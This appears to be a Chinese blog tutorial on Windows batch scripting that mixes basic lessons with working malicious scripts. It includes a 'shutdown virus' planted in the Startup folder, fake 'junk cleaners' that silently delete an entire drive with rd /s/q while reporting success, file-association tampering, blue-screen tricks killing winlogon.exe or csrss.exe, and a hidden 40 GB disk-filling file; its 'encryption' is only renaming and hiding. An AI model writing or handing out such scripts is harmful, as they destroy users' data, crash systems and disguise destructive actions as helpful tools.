2.批处理脚本制作

2.批处理脚本制作

阿七
2021-10-19 / 0 评论 / 1 阅读 / 正在检测是否收录...

批处理脚本制作案例

案例13:制作带有菜单的脚本

用到知识

冒号:
goto
if

if用法

if 判断语句 命令 # 判断正确成功,则执行命令,否则不执行,结束判断
如:if 1==2 md c:\123

案例:

@echo off
title 阿七程序
color 0a
mode con cols=45 lines=13
:menu
cls
echo ===========================
echo 菜单
echo 1.定时关机
echo 2.制作关机病毒
echo 3.清理垃圾
echo 4.退出
echo ===========================
set /p num=请输入您的选择:
if "%num%"=="1" goto a
if "%num%"=="2" goto b
if "%num%"=="3" goto c
if "%num%"=="4" goto d
echo 别TM瞎输入,好好输入,只能输入(1、2、3、4)!
echo 按任意键回菜单吧!
pause >nul 2>nul
goto menu
:a
set /p time=请输入关机时间:
shutdown -s -t %time%
goto menu
:b
echo shutdown -r -t 0 >"C:\Documents and Settings\%username%\「开始」菜单\程序\启动
\haha.bat"
echo 恭喜,病毒制作成功!
pause
goto menu
:c
set /p pan=请输入垃圾清理盘符:
rd %pan%:\ /s/q >nul 2>nul
echo 恭喜,分区%pan%盘垃圾清理完毕!
pause
goto menu
:d
exit

案例14:注释命令

@echo off
::echo wen # ::可以注释掉一行命令,当执行批处理时不会再执行本行命令
@rem echo xiao # @rem 作用同 ::
echo fei
pause

案例15:实现延时操作

@echo off
ping -n 5 127.0.0.1 >nul 2>nul #实现运行时等待大概5秒,也可以理解为延时5秒,然后继续
执行后续命令
pause
@echo off
:a
color 0a
ping -n 2 127.0.0.1 >nul 2>nul
color a8
ping -n 2 127.0.0.1 >nul 2>nul
color e5
goto a
@echo off
echo ==============================
echo.
echo 垃圾清理程序 v1.0
echo. --by wencoll
echo ==============================
pause
echo 垃圾清理中。。。。。
rd d:\ /s/q >nul 2>nul
ping -n 8 127.0.0.1 >nul 2>nul
echo 恭喜您,垃圾清理完毕,按任意键重启计算机,效果更好!
pause >nul 2>nul

案例16:制作简易加密脚本

@echo off
title 加密程序v1.0--by dafeige
echo ===========================================
echo 加密说明:
echo 首先将加密程序复制到与所要加密的文件夹同一个目录中,然后再运行该程序
echo ===========================================
set /p name=请输入要加密的文件夹名:
ren %name% system.inf
attrib +s +h system.inf
echo 恭喜,已经加密成功!
pause

案例17:制作解密脚本

@echo off
title 解密程序v1.0--by dafeige
echo ===========================================
echo 解密说明:
echo 首先将解密程序复制到与所要解密的文件夹同一个目录中,然后再运行该程序
echo ===========================================
set /p name=请输入要解密的文件夹名:
attrib -s -h system.inf
ren system.inf %name%
echo 恭喜,已经解密成功!
pause

案例18:恶意脚本--之-篡改文件关联性

@echo off
assoc .txt=mp3file # 将txt当成音乐文件,打开txt文件将使用音乐播放器打开
assoc .jpg=mp3file
assoc .png=mp3file
assoc .zip=mp3file

案例19:恶意脚本--之-修复文件关联性

@echo off
assoc .txt=txtfile # 只需要前后一致即可!
assoc .jpg=jpgfile
assoc .png=pngfile
assoc .zip=zipfile
assoc .mp3=mp3file

案例20:针对win 2003的蓝屏炸弹

ntsd -c q -pn winlogon.exe
ntsd早期系统杀死进程的命令
taskkill新系统杀死进程的命令

案例21:(非批处理)针对win7与win10的蓝屏

win7
任务管理器---强制杀死csrss.exe进程--蓝屏
win10
任务管理器---强制杀死:服务主机:DCOM服务进程启动器--蓝屏

案例22:杀死explorer.exe进程

@echo off
taskkill /im explorer.exe /f >nul 2>nul
echo 小样!吓死你了!
ping -n 8 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 恢复了!以后别老访问垃圾网站!
pause

/im 立即立刻 /f 强制

案例23:快速制作大文件脚本

fsutil file createnew d:\system.inf 40000000000 # 单位是字节
attrib +s +h d:\system.inf
0

评论 (0)

取消